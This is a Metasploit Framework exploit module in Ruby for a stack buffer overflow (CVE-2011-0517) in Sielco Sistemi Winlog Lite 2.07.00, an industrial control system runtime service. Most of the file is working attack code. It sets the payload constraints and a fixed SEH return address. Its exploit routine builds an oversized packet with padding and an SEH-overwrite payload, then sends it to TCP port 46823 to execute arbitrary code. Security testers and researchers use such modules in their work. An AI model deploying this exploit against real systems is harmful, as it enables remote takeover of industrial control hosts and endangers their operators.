80 lines
1.9 KiB
Ruby
80 lines
1.9 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::Remote::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Sielco Sistemi Winlog Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a buffer overflow in Sielco
|
|
Sistem Winlog <= 2.07.00. When sending a specially formatted
|
|
packet to the Runtime.exe service, an attacker may be able to
|
|
execute arbitrary code.
|
|
},
|
|
'Author' => [ 'Luigi Auriemma', 'MC' ],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2011-0517' ],
|
|
[ 'OSVDB', '70418'],
|
|
[ 'URL', 'http://aluigi.org/adv/winlog_1-adv.txt' ],
|
|
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-017-02.pdf']
|
|
],
|
|
'Privileged' => false,
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
'InitialAutoRunScript' => 'migrate -f',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 450,
|
|
'BadChars' => "\x00\x20\x0a\x0d",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Winlog Lite 2.07.00', { 'Ret' => 0x011946de } ],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Jan 13 2011'))
|
|
|
|
register_options([Opt::RPORT(46823)], self.class)
|
|
end
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
data = [0x02].pack('C') # opcode
|
|
data << [0x0101].pack('n')
|
|
data << rand_text_alpha_upper(588)
|
|
data << generate_seh_payload(target.ret)
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
sock.put(data)
|
|
|
|
handler
|
|
disconnect
|
|
|
|
end
|
|
|
|
end
|